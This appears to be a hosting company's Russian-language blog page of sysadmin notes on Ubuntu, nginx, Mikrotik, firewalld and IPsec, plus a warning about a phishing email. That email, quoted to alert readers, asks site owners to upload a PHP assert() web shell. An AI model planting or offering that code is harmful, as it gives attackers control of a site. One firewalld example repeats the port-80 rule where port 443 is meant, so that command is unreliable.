- Новосибирск, Россия
- (+7 383) 212-72-73
- sale@anz.ru
Установщик дистрибутива Ubuntu-server устанавливает и включает ряд сервисов, которые никогда не понадобятся, если вы ставите его в качестве персонального виртуального сервера с малым объёмом оперативной памяти. Эти сервисы постоянно находятся в памяти, и будет лучше их удалить или выключить.
1. Snapd — менеджер пакетов snap. Если вы не будете его использовать, лучше его удалить:
apt purge snapd,squashfs-tools
Если пакеты snap когда-нибудь понадобится установить, то пакет легко вернуть на место:
apt install snapd
2. ModemManager — менеджер USB-модемов. Для персонального виртуального сервера не нужен, отключаем:
systemctl stop ModemManager
systemctl disable ModemManager
3. DM-Multipath — DM-Multipath позволяет объединить несколько маршрутов ввода-вывода между серверами и дисковыми массивами в единое целое. Предназначен для агрегации нескольких физических сетевых накопителей в одно устройство. Для VPS с одним диском не нужен. Останавливаем и отключаем демон multipathd:
systemctl stop multipathd
systemctl disable multipathd
4. udisks2 — демон и утилиты для подключения съёмных устройств, различных USB-накопителей. Для VPS его необходимость сомнительна, отключаем:
systemctl stop udisks2
systemctl disable udisks2
В работе над настройкой движка форума phpbb была задача — сделать два совместно работающих сервера web-приложений. Серверы разного поколения (HP gen 9 и HP gen 8), соответственно, разные процессоры, разное число ядер и памяти.
На более мощном сервере размещается nginx, и первый сервер приложений. В nginx имеются широкие возможности для создания балансировщика нагрузки между серверами приложений. Если приложение штатно не поддерживает работу в кластере, лучше использовать режим балансировки ip_hash, в nginx есть соответствующая директива. Что происходит при таком режиме работы — пришел первый запрос с какого-то IP-адреса. Nginx проксирует его на один из серверов приложений, согласно весу (директива weight). После чего сессия, сеанс связи, будет только на этом сервере, nginx не будет перекидывать пользователя между серверами приложений. Пример такой настройки дан ниже. Для «развесовки» серверов я использую число ядер cpu на каждом из них.
upstream phpbb_cluster {
ip_hash;
server 192.168.100.2:8443 weight=32 max_fails=0; # Первый сервер приложений с весом 32
server 192.168.100.4:8443 weight=40 max_fails=0; # Второй сервер приложений с весом 40
}# Ниже, в секции конкретного сайта (server), где запрос передается апстриму:
location @fallback {
proxy_pass https://phpbb_cluster;
}
Nginx так же обрабатывает все запросы, связанные со статикой (картинками, видеофайлами, ява-скриптами, таблицами стилей и прочее), отдавая серверам приложений только обработку, собственно, скриптов php.
Важно то, что ресурсы обоих серверов должны быть общими. Как можно выйти из положения — на самом мощном сервере хранятся все файлы. Статика должна храниться там, где запущен nginx. Скрипты сайта хранятся там же. Их мы отдаем другим серверам приложений по NFS. Параметр RPCNFSDCOUNT, задающий число потоков RPC NFS, должен быть большим, порядка 500 — 1000. Приоритет сервера задается параметром RPCNFSDPRIORITY, можно задать от -5 до -12.
Второе важное замечание касается кеша приложения. Он должен быть раздельным для разных серверов, иначе будут сыпаться ошибки о правах доступа к файлам, серверы будут пытаться создавать кешируемые файлы поочередно, в директории cache в корне сайта, если, конечно, для кеширования используется драйвер file из phpbb/cache/driver).
Можно было бы выйти из ситуации, храня кеш в базах данных memcached, redis, или использовать xcache, но в состав phpbb входит движок темплейтов twig, который тоже создает свой кеш в той же директории cache, а он ни с чем, кроме файлов, работать не умеет.
Избежать этой проблемы можно. Когда монтируем NFS каталог с главного сервера на остальных серверах приложений, надо затем смонтировать в директорию cache локальную директорию, например /tmp/cache, с опцией bind. В этом случае кеши на разных серверах приложений будут свои. После этого форум phpbb или сайты, построенные на его основе будут работать без проблем на двух, трёх и более серверах приложений php-fpm.
Во всех непонятных ситуациях СМОТРИТЕ ЛОГИ. Все проблемы скрываются там.
Обязательно синхронизируйте время сервера с серверами точного времени, если есть кластер — создайте свой сервер точного времени, который синхронизируйте со внешними. В роутерах mikrotik для этого есть пакет ntp, с его помощью можно синхронизировать время всей локальной сети. Синхронизация времени поможет работать с логами, разбираться с событиями на разных серверах кластера.
Если логи недостаточно информативны — включайте расширенное логирование в настройках конкретных сервисов.
Логи — главное ваше оружие в поисках и уничтожении проблем.
Интерфейс EoIP предназначен для связи сетей двух, или более маршрутизаторов Mikrotik на уровне 2 OSI. Для этого просто создаем EoIP туннель между двумя маршрутизаторами, а затем добавляем на обоих концах EoIP-интерфейсы в основной локальный мост. При этом сети связываются на 2 уровне OSI, мы можем добавлять сети в backbone OSPF, будет работать динамическая маршрутизация, все будут видеть друг друга, пользователи одной сети будут видеть серверы соседних сетей, всем будет радость и счастье. Ага, как бы не так…
Создаем EoIP-интерфейс, даже не подключая его вообще ни к чему. Более того, вообще отключаем итерфейс. И включаем его в мост. Внешне вроде все работает как обычно, пользователи сети могут выходить в интернет, сайты открываются, файлы закачиваются… Но стоит только зайти на сайт, к примеру, https;//click.alfabank.ru, или https://www.rts-tender.ru и… Мы их не видим. Убираем интерфейс из моста — сайты открываются…
Есть предположение, почему так происходит. При включении интерфейса в мост, ломается передача пакетов. При проверке снифером, наблюдаются ошибки TCP out of order, что ломает шифрацию/дешифрацию протокола SSL:
Выход прост — пока программисты Mikrotik не починят этот баг, пользоваться туннелями IPIP, L2TP, и другими.
В связи с реорганизацией нашего банка у нас изменились банковские реквизиты. Узнать обновленные реквизиты можно на странице контактов.
Мы закончили модернизацию нашей системы серверов доменных имен. Везде установлена новейшая версия PowerDNS, быстрого и надежного программного обеспечения для поддержки доменных зон. Теперь все они поддерживают расширения EDNS, и готовы к так называемому DNS Flag Day, когда не будут поддерживаться старые и медленные решения. И наши клиенты могут быть уверены — после 1 Февраля 2019 года все их сайты будут видны, как и раньше. Кликнув на картинку, вы можете узнать подробности, а так же протестировать ваш домен.
Заключено партнерское соглашение с еще одним сервисом проверки работы сайтов checklinks.net, мы предоставили для них отдельную ноду для проверок. Таким образом, можно использовать для проверок в том числе и этот сервис. Бесплатно проверить ваш ресурс можно на этой странице.
Иногда возникает ситуация, когда надо починить сервер на Linux, а под рукой только планшет или ноутбук без порта Ethernet. В этом случае достучаться до консоли сервера можно с помощью Mikrotik Woobm-USB. Конечно, перед этим сервер надо будет настроить.
Mikrotik Woobm-USB — это точка доступа с последовательным интерфейсом для управления роутерами mikrotik с различных устройств без Ethernet-адаптеров. Если этот USB-гаджет подключить к компьютеру под управлением Linux, то оно определится как «Prolific Technology, Inc. PL2303 Serial Port», собственно, на его плате именно эта микросхема и стоит.
При подключении подгружаются драйверы (модули ядра) pl2303 и usbserial, а в списке устройств появляется устройство /dev/ttyUSBXX, если это единственное устройство USB to UART, то ХХ=0. На этом устройстве можно инициализировать консоль.
Пример для Ubuntu Server 14.04.
1. Вставим Woobm-USB в любой порт USB, загорится зеленая и начнет мигать синяя лампочки, значит поднимается беспроводной интерфейс. Мигнет красная лампочка — обмен данными по USB. Должно появиться устройство /dev/ttyUSB0:
ls /dev/ttyU*
/dev/ttyUSB0
2. Подготовим файл конфигурации для инициализации консоли на этом устройстве:
touch /etc/init/ttyUSB0.conf
3. Добавим в него такое содержимое:
# ttyUSB0 - getty
#
# This service maintains a getty on ttyS0 from the point the system is
# started until it is shut down again.
start on stopped rc RUNLEVEL=[12345]
stop on runlevel [!12345]
respawn
exec /sbin/getty -L 115200 ttyUSB0 linux
4. Теперь можно стартовать консоль
sudo start ttyUSB0
При работе устройства образуется беспроводная сеть с SSID WoobmAP, по умолчанию она открыта, в настройках ее можно скрыть, запаролить, подключить к другой точке доступа. Когда подключаетесь к этой точке, по умолчанию вашему устройству присваивается адрес из диапазона 192.168.4.2 — 192.168.4.4, сам Woobm-USB получает адрес 192.168.4.1.
Можно вводить команды в WEB-интерфейсе (http://192.168.4.1). Можно подключиться к устройству используя telnet (telnet 192.168.4.1). При инициализации консоли вы работаете как в обычной консоли Linux.
Я пробовал различные эмуляторы терминала: VT100, VT102, linux, xterm. При выборе xterm, при работе через telnet, корректно работает даже mc (midnight commander). Но если попробовать запустить mc в консоли WEB-интерфейса, скриншот которого вы видите выше, то мы получим ошибку «Disconnected (code 1006). Please try again», и интерфейс перестанет воспринимать команды. Консольные директивы работают безо всяких проблем.
Эта статья навеяна выполнением работ для одного из наших крупных клиентов ООО «ЕвроСтудио».
Известно, что в CentOS 7 было много нововведений. Одно из них — firewalld, демон-надстройка над iptables, добавляющая определенные удобства в работе с брандмауэром. Можно долго спорить на тему удобно/неудобно, и о том, что надстройка эта по умолчанию ставится только в разработках RedHat и совместимых с ними CentOS, но она есть, установлена, а значит почему бы ее не использовать?
Итак, IPset. Это именованные списки IP-адресов и подсетей, которые можно использовать в правилах iptables для уменьшения количества этих правил. Чем меньше правил — тем быстрее они анализируются, тем производительнее сеть на данном сервере. Поддержка IPset появилась в firewalld начиная с версии 0.4.0.
Смотрим версию firewalld
firewall-cmd -v
0.3.9
Видим, что версия ниже, чем 0.4.0, значит ее надо обновить
yum install firewall
Снова проверяем версию firewall
firewall-cmd -V
0.4.4.4
Если версия правильная, (>= 0.4.0, как у нас) можно работать с IPset. Например добавим список адресов
firewall-cmd --permanent --new-ipset=IP-whitelist --type=hash:ip
Если в списке должны быть и адреса, и подсети, то список следует добавлять так
firewall-cmd --permanent --new-ipset=IP-whitelist --type=hash:net
Мы добавили именованный список IP-whitelist. Опция «—permanent» добавляет конфигурационный файл этого списка, без нее после перезагрузки списка у нас не будет. А еще она сохраняет правила, списки и адреса в различные конфигурационные файлы .xml в директории /etc/firewalld, чтобы они автоматически применялись при перезагрузке сервера. Если нужно просто протестировать список или правило, опцию «—permanent» добавлять не нужно, правило или список в этом случае сохранится только до ближайшей перезагрузки.
Теперь будем добавлять в список адресов собственно адреса
firewall-cmd --ipset=IP-whitelist --add-entry=192.168.1.4 --permanent
firewall-cmd --ipset=IP-whitelist --add-entry=192.168.1.6 --permanent
firewall-cmd --ipset=IP-whitelist --add-entry=192.168.1.8 --permanent
И подсети
firewall-cmd --ipset=IP-whitelist --add-entry=192.168.2.0/24 --permanent
firewall-cmd --ipset=IP-whitelist --add-entry=192.168.1.100/28 --permanent
Перезагрузим настройки firewall
firewall-cmd --reload
Посмотрим, какие у нас есть списки адресов/сетей
Показать существующие списки адресов
firewall-cmd --get-ipsets
IP-whitelist
Показать сам список
firewall-cmd --ipset=IP-whitelist --get-entries
192.168.1.4
192.168.1.6
192.168.1.8
192.168.2.0/24
192.168.1.100/28
Список у нас есть, можем теперь добавить правила, работающие с этими списками.
Допустим, нам надо, чтобы сервис ssh был доступен только для белого списка адресов IP-whitelist, а порты 80 и 443 были закрыты для адресов в списке IP-blacklist
Добавим правило, разрешающее сервис ssh для белого списка «IP-whitelist»
firewall-cmd --permanent --zone=public --add-rich-rule='rule source ipset="IP-whitelist" service name="ssh" accept'
Если есть правило, разрешающее сервис ssh для всех, удалим его
firewall-cmd --permanent --zone=public --remove-service=ssh
Убедились, что ваш адрес есть в белом списке, иначе доступ к серверу будет закрыт!
firewall-cmd --ipset=IP-whitelist --get-entries
Перезагрузим настройки firewall
firewall-cmd --reload
Теперь создадим список IP-blacklist, добавим туда адреса
firewall-cmd --permanent --new-ipset=IP-blacklist --type=hash:net
firewall-cmd --ipset=IP-blacklist --add-entry=192.168.1.5 --permanent
firewall-cmd --ipset=IP-blacklist --add-entry=192.168.1.7 --permanent
firewall-cmd --ipset=IP-blacklist --add-entry=192.168.3.0/24 --permanent
firewall-cmd --ipset=IP-blacklist --add-entry=192.168.4.0/23 --permanent
Проверим, если хотим
firewall-cmd --get-ipsets
IP-whitelist
IP-blacklist
firewall-cmd --ipset=IP-whitelist --get-entries
192.168.1.5
192.168.1.7
192.168.3.0/24
192.168.4.0/23
И запретим доступ с этих адресов для портов 80 и 443 используя опцию service
firewall-cmd --add-rich-rule='rule source ipset=IP-blacklist service name="http" drop' --permanent
firewall-cmd --add-rich-rule='rule source ipset=IP-blacklist service name="https" drop' --permanent
Или опцию port
firewall-cmd --add-rich-rule='rule source ipset=IP-blacklist port protocol="tcp" port="80" drop' --permanent
firewall-cmd --add-rich-rule='rule source ipset=IP-blacklist port protocol="tcp" port="80" drop' --permanent
Перезагружаем настройки firewall
firewall-cmd --reload
Правила добавлены, блокировка включена, к ssh имеют доступ только разрешенные хосты. Теперь во время работы сервера мы можем добавлять и убирать адреса в эти списки
Добавление адреса в списки
firewall-cmd --ipset=IP-blacklist --add-entry=192.168.1.20 --permanent
firewall-cmd --ipset=IP-blacklist --add-entry=192.168.1.70 --permanent
firewall-cmd --ipset=IP-whitelist --add-entry=192.168.1.80 --permanent
firewall-cmd --reload
Удаление адреса из списка
firewall-cmd --ipset=IP-blacklist --remove-entry=192.168.1.5 --permanent
firewall-cmd --ipset=IP-blacklist --remove-entry=192.168.1.7 --permanent
firewall-cmd --reload
Социальная инженерия — совокупность приёмов, методов и технологий создания такого пространства, условий и обстоятельств, которые максимально эффективно приводят к конкретному необходимому результату, с использованием социологии и психологии. Для России это явление достаточно новое, оно ранее рассматривалось как метод управления действиями человека без использования технических средств, который основан на использовании слабостей человеческого фактора и считается очень разрушительным.
© Wikipedia
Пришло к нам сегодня письмо, якобы от nic.ru, со следующим содержимым:
Уважаемый клиент!
В соответствии с дополнениями, внесенными в ICANN RAA, Вы должны подтвердить, что управление доменным именем anz.ru осуществляется лицом, указанным в качестве его администратора.
Чтобы подтвердить, что Вы имеете фактическую возможность управлять доменным именем, создайте в корневой директории сайта файл 2dek3465fserbjkup3rt.php со следующим содержимым:
<?php
assert(stripslashes($_REQUEST[набор_букв_и_цифр]));
?>Файл должен быть создан в течение трех календарных дней с момента получения настоящего сообщения и присутствовать на сервере до 12 мая 2018 года, 07:00 (UTC+03:00), в противном случае верификация не будет пройдена.
Обращаем внимание, что если процедура подтверждения не будет пройдена, делегирование доменного имени будет прекращено.
Требование исходит якобы от известного российского регистратора доменов nic.ru. Здесь вас открытым текстом просят внедрить в ваш сайт некий код. Одно только это должно вас насторожить — nic.ru никогда не просит внедрять что-либо в код вашего сайта. Такие письма нужно игнорировать.
Далее обратите внимание на адрес, с которого приходят эти письма. Они должны приходить с адреса noreply@nic.ru, но никак не с domain@nic.tech или с noreply@nic.technical. Конечно, поля from и reply to могут быть легко подделаны, смотрите заголовки письма для выяснения истины. Если письмо приходит не с домена nic.ru, игнорируйте это письмо, просто сотрите его.
Недавно к нам обратился наш хостинг-клиент, который, просматривая Яндекс-Метрику, был озадачен странными внешними переходами с его сайта на посторонние ресурсы, при этом никаких признаков взлома сайта обнаружено не было.
В логах никаких упоминаний об этих ресурсах нами обнаружено не было. Однако, судя по логам, переходы на вредоносный редиректор идут вообще не с сайта клиента. Мы попытались изучить данную проблему и выяснили, что может быть два пути появления таких ссылок.
1. Паразитные сайты — редиректоры. Они созданы для накрутки счетчиков и фиктивных посещений уникальными посетителями в поисковых системах. При этом продвигается тот сайт, на который происходит редирект, перенаправление. Используются самые разные методы, в том числе установка на компьютер пользователя вредоносного ПО, так называемых рекламных вирусов. Эти вирусы подменяют ссылки в зараженных браузерах на те, которые прописаны в этих программах. То есть посетитель обычного сайта в своем зараженном браузере кликает какую-либо из ссылок, но ему подставляется другая ссылка, на перенаправитель. Он потом случайным образом перекидывает пользователя на один из сайтов своих клиентов, тех, кто платит за накрутку. Подробнее об этом, а также, как убрать вредоносный софт, написано в этой статье — http://www.spyware-ru.com/udalit-lineunex-com-reklamu-instruktsiya/
2. Нам, как хостерам, кажется, что сама Яндекс-Метрика далека от совершенства в плане безопасности. Метрика фиксирует все данные, приходящие по счетчику, установленному на посещаемом добропорядочном ресурсе. И даже если этот счетчик установлен на сайте конкурента! То есть на стороннем сайте можно разместить счетчик с вашим идентификатором, и метрика будет его учитывать. Идентификатор легко узнать из общедоступного кода сайта. Зачем это надо? Так паразитные сайты увеличивают себе количество уникальных переходов, которые учитываются поисковыми системами при выдаче ответов на ключевые запросы редиректора.
Для борьбы с этими явлениями В Яндекс-Метрике есть костыль — фильтр трафика с доменов. Попробуйте поместить домен паразитного перенаправителя в этот фильтр.
Нами, совместно с ООО «Торстен», реализован проект распределенной беспроводной сети для нашего хостинг-клиента, магазина автозапчастей «Alfa-Kiomi» с использованием оборудования Mikrotik и HP. В качестве роутера и контроллера (менеджера сети) использован Mikrotik hEX (RB750Gr3). К нему подключен управляемый коммутатор с функцией питания по сети (PoE) фирмы HP, с которым соединены 7 внутренних точек доступа (CAP) mAP и 2 наружных wAP. Сеть настроена так, что обеспечивается переход от одной точки доступа к другой с минимальными паузами. Подборка и настройка оборудования осуществлялась специалистом ООО «Аэнзет». Установку оборудования и прокладку сети между точками делали специалисты ООО «Торстен». Оборудование Mikrotik так же используется и для организации связи между точками продажи автозапчастей «Alfa-Kiomi». Напомним, что и мы используем эти хорошо себя зарекомендовавшие роутеры в своей работе.
Используемая в составе роутеров и точек доступа операционная система RouterOS обладает высокой стабильностью, чрезвычайно гибкими настройками, средствами мониторинга и администрирования. Это оборудование обеспечивает высокое соотношение качества к цене. В тоже время работать с ним, на наш взгляд, легче, чем с оборудованием Cisco. Утилита WinBox обеспечивает наглядность и простоту настройки, богатый набор встроенных утилит для диагностики сети.
Предлагаем свои услуги в подборке, установке и настройке оборудования Mikrotik для интернет-кафе, различных предприятий, учебных заведений.
 |
 |
 |
Мы разместили у себя одну из точек мониторинга сервиса Ping-Admin.ru. Ping-Admin.ru — профессиональный мониторинг сайтов и серверов. Ping-Admin.ru осуществляет круглосуточный мониторинг доступности и проверку работы на сервере ряда сервисов, а кроме этого регулярно проверяет срок действия SSL-сертификатов, срок действия доменов, SEO-ссылки, осуществляет проверку сайта на вирусы, проверку наличия домена и IP в чёрных списках, мониторинг внутренних ресурсов сервера (нагрузка, жёсткий диск, uptime и прочих).
По мнению специалистов этого ресурса, наш датацентр признан одним из самых надежных, а сотрудничество такого сервиса с нами является негласным признанием и нашей надежности. Вот проверка нашего сайта с использованием средств этого сервиса. Наши специалисты технической поддержки рекомендуют использовать нашим клиентам именно этот сервис мониторинга, ведь его точка размещена у нас, значит мониторинг будет осуществляться с минимумом задержек и не будет зависеть от промежуточных узлов сети Интернет.
Мы призываем и другие сервисы сотрудничать с нами на взаимовыгодных условиях.
18 Сентября 2017 года Федеральная служба по надзору в сфере связи, информационных технологий и массовых коммуникаций выдала ООО «Аэнзет» новую лицензию № 158522 на телематические услуги связи в связи с истечением срока действия предыдущей лицензии. Это уже третья лицензия, которую мы получаем за всю историю существования компании «Аэнзет». Такая лицензия нужна, если компания предоставляет услуги электронной почты. Напоминаем, что мы не только предоставляем такие услуги, но и имеем в своем арсенале виртуальные выделенные серверы (VDS) для почтовых рассылок, представляющие собой полноценный почтовый сервер, в состав которого входит программа для рассылок PHPNewsLetter, что позволяет обойтись без покупки приложений для рассылок.
Также к нам можно обращаться, если вы хотите найти надежного посредника для получения/продления подобной лицензии для вашей компании. Мы подготовим для вас весь пакет документов. Стоимость услуги 10 000 рублей.
Наши серверы стоят в дата-центре компании «Ростелеком». Чтобы контролировать, настраивать, администрировать их из нашего офиса, мы используем связь с роутером и межсетевым экраном в дата-центре по шифрованному каналу IPsec. В нашем офисе мы используем хорошо себя зарекомендовавшую модель Zyxel Keenetic Ultra II — универсальное решение с аппаратным криптомодулем и аппаратными разгрузками NAT и контрольных сумм. Кроме того, в совокупности с модулем Keenetic DECT Plus этот роутер обслуживает и нашу IP-телефонию. Сегодня мы обсудим связку этого роутера и роутера Mikrotik RB1100AHx2, который мы в настоящее время используем в дата-центре.
Дано (все белые IP вымышлены):
Конфигурация RB1100AHx2
Белый IP-адрес WAN-интерфейса 152.12.12.12
Внутренняя сеть 192.168.10.0/23
Конфигурация Keenetic Ultra II
Белый IP-адрес WAN-интерфейса 182.12.12.12
Внутренняя сеть 192.168.80.0/24
Обязательное условие — внутренние сети не должны пересекаться!
Настройка Mikrotik:
Прежде всего идем в IP -> IPsec -> Groups, если там нет ни одной группы, просто жмем плюсик «Добавить», в открывшемся окне, в поле «Name» пишем «default» и жмем Ok, проще говоря добавляем группу default. Иначе в дальнейшем будут глюки при установлении соединения в фазе 1, дело в том, что темплейт policy по умолчанию должен принадлежать какой-то определенной группе. Иначе в поле «Policy Template Group» первой фазы (в настройке Peer) будет значение unknown, а связь не будет устанавливаться. Похоже на какую-то магию, но OS закрытая, доступа к внутренностям у нас нет, что там происходит сказать нельзя, так что просто добавляем группу, если ее нет, и идем дальше.
Добавляем Policy, для чего идем в IP -> IPsec -> Policies, жмем плюсик «Добавить»
Policy — это правило, что именно нужно делать при пересылке данных между подсетями, которые мы указываем на вкладке General. Source Address — локальная сеть в дата-центре, обслуживаемая роутером Mikrotik RB1100AHx2. Destination Address — локальная сеть в офисе, которую обслуживает Zyxel Keenetic Ultra II. Галочку «Template» не ставим, она превращает Policy в темплейт, а нам нужна именно Policy.
На вкладке Action мы указываем действие, которое должно происходить, мы хотим шифровать данные в туннеле (галочка Tunnel), туннель устанавливается между WAN-интерфейсами обоих роутеров, на которых прописаны белые адреса, которые участвуют в создании Security Association (SA), SA Src. Address (белый IP RB1100AHx2), SA Dst. Address (белый IP Keenetic Ultra II). Данные шифруются так, как указано в default proposal.
Далее настраиваем первую фазу IPsec — идем в IP -> IPsec -> Peers, жмем плюсик «Добавить»
Тут настроек уже больше. Address — IP-адрес удаленного роутера, вписываем туда белый IP Keenetic II Ultra. Port — обычный порт ISAKMP, менять его не стоит. Local Address можно не указывать. Придумываем ключ PSK, вписываем в поле Secret, где-нибудь его временно сохраняем — он понадобится, когда будем настраивать Keenetic UItra II. Устанавливаем галочку NAT Traversal, чтобы с роутером смогли связаться устройства, расположенные за NAT. Далее выставляем необходимые алгоритмы шифрования. Аппаратно обоими роутерами поддерживаются хеширование SHA1 (недавно был-таки взломан неутомимыми сотрудниками Google, а еще раньше не менее работоспособными китайцами), SHA256 и шифрование AES128-CBC, AES192-CBC, AES256-CBC — можно указать их все, при установлении SA обычно выбирается максимально возможные алгоритмы. Lifetime — время жизни ключа, по окончании действия ключа он будет перегенерирован. DPD или Dead Peer Detection — своеобразный keepalive, проверка удаленного peer, раз в какое-то время (DPD Interval) устройства спрашивают друг друга «ты там как, жив?» (R-U-THERE), ответ должен быть «да, живой я» (R-U-THERE ACK).
Если ответа нет, инициатор переспрашивает некоторое количество раз (DPD Maximun Failures), после чего уничтожает IPsec-сессию, и удаляет обе SAs. После этого устройства будут пытаться восстановить связь, если это прописано в настройках. При DPD Interval «disabled» ключ не будет обновляться в первой фазе при достижении конца Lifetime, так что лучше в этом поле выставить некое значение. DH Group это группа Диффи-Хеллмана, соответствия этих modp номерам в Keenetic есть в этой таблице.
Настройка второй фазы IPsec — идем в IP -> IPsec -> Proposals. Там уже есть default proposal, он был указан при создании Policy, так что можно просто подогнать его под себя. Помним об алгоритмах, обрабатываемых аппаратно, имеет смысл выставить именно их, при использовании аппаратного критомодуля загрузка процессоров обоих роутеров стремится к нулю.
Здесь тоже есть поле Lifetime, по окончании которого ключ будет перегенерирован. Здесь это происходит всегда, в отличии от первой фазы.
Открываем терминал и добавляем правило, разрешающее прохождение пакетов в обход маскарадинга (помним, какие сети мы разрешили в policy):
/ip firewall nat add src-address=192.168.10.0/23 dst-address=192.168.80.0/24 action=accept chain=srcnat comment=»To Office»
Ставим его над маскарадингом, на первое место:
/ip firewall nat move [find comment=»To Office»] 0
На этом настройку Mikrotik можно считать завершенной. Приступаем к
Настройке Keenetic Ultra II
Заходим в WEB-интефейс роутера, в самом низу его находим кнопку со щитом — раздел «Безопасность». Нажимаем ее, ищем вкладку IPsec VPN. Если ее там нет (вот неожиданность!) — идем в раздел Система (кнопка с шестеренкой) -> Обновление, жмем кнопку «Показать компоненты», ищем в списке IPsec VPN и ставим рядом с ним галочку, жмем в самом низу кнопку «Установить». Обычно он устанавливается сразу. Если серверы NDMS живы. Иногда надо подождать, но когда-нибудь вы его установите, если будете достаточно терпеливы.
Компонент установился? Роутер перезагрузили? Он делает это не торопясь, основательно, наверное тщательно расставляет каждый бит по ячейкам памяти… Но вот наконец, снова идем в раздел безопасность и находим-таки там вкладку IPsec
Ставим галочку «Включить», жмем кнопку «Применить». В IPsec-подключениях сначала будет пусто, жмем кнопку «Добавить». Возникнет окно настройки IPsec-подключения
Вписываем имя соединения. Выставляем галочки «Включить» (мы же все еще хотим установить соединение с mikrotik?), Автоподключение, Nail up (для удержания соединения), «Обнаружение неработающего пира (DPD)», задаем необходимый интервал проверки.
В поле «Удаленный шлюз» вписываем белый IP-адрес Mikrotik.
Далее настраиваем фазу 1. Мне лично не удалось заставить работать эти два роутера с протоколом IKE v2, поэтому все настройки приведены для IKE v1. У нас в офисе белый IP-адрес, грех не сделать его идентификатором локального шлюза. Поскольку мы указали белый IP-адрес Mikrotik, то в поле «Идентификатор удаленного шлюза» можно поставить «Any», или «IP-адрес», так же в нашем распоряжении есть три отлично работающих DNS, соответственно все устройства имеют корректные доменные имена, мы могли бы использовать в качестве идентификатора и FQDN. Помните, мы при настройке Mikrotik RB1100AHx2 придумывали ключ PSK, так вот, самое время его вписать в поле «Ключ PSK», кстати, оглянитесь, за плечами у вас нет врагов? Ключ прямо так и будет виден.
Хеш, алгоритмы шифрования и группу Диффи-Хеллмана надо выставить точно такие же, как и на Mikrotik, в настройках Peer, иначе роутеры не смогут друг с другом договориться. Режим согласования лучше оставить Main, Aggressive хоть и ускоряет подключение, но менее безопасен, например ключ передается не по шифрованному каналу, а по открытому, в виде хеша, а мы же зачем-то тут настраиваем IPsec… Так мы плавно перешли к настройке фазы 2
Режим задаем, конечно, туннель, ведь именно IPsec-туннель мы все это время и настраивали. Алгоритмы шифрования, хеши и группа Диффи-Хеллмана здесь должны соответствовать настройкам Proposal в Mikrotik. Вписываем локальную и удаленную подсети в соответствующие поля. Жмем «Применить».
Если все сделали правильно — пойдет инициализация соединения, в логах Mikrotik не должно быть ошибок, в IP -> IPsec -> Remote Peers должен образоваться Peer:
А в IP -> IPsec -> Installed SAs появиться две Security Associations, и должен быть виден обмен данными:
На стороне Keenetic весь процесс соединения отображается в логе, а информацию о соединении мы увидим на странице «Системный монитор» и вкладке «IPsec VPN»:
Со стороны Keenetic можно попробовать достучаться до какой-либо из удаленных машин.
Как вам известно, наша компания использует оборудование Mikrotik в качестве маршрутизатора и файрвола для нашей внутренней сети в дата-центре. Все серверы нашего кластера общаются с сетью Интернет не напрямую, а через маршрутизатор RB1100AHx2 (в ближайшее время он будет заменен на более мощный CCR1036-12G-4S). На днях сайт WikiLeaks опубликовал информацию о том, что у ЦРУ есть инструменты для взлома системы RouterOS компании Mikrotik. Был возможен только взлом WEB-интерфейса роутера. К слову, у нас все интерфейсы управления роутера закрыты, доступ к ним возможен только с определенных IP-адресов. К чести компании Mikrotik, они оперативно выпустили обновление своего ПО — ветка bugfix 6.37.5, текущая ветка 6.38.5. Сегодня, 11 Марта 2017 года, нами было установлено это обновление на наше оборудование.
Всем привет! Да-да, свершилось: у нас новый сайт! 10 лет мы жили со своим любимым, понятным и ставшим таким родным сайтом, который когда-то сделали сами ? Но время идет, и если сначала мы шутили, что наш сайт показывает нашу стабильность и непотопляемость, то в последнее время всё больше клиентов и партнёров стали обращать внимание на архаичность нашего сайта. Пришлось взять волю в кулак, сдержать слезу и создать новый корпоративный сайт. Этот сайт мы тоже сделали сами. Получилось симпатично и современно. Мы постарались сделать меню нашего сайта очевидным и простым. В общем, добро пожаловать на обновлённый сайт компании «Аэнзет»!
Команда A&Z
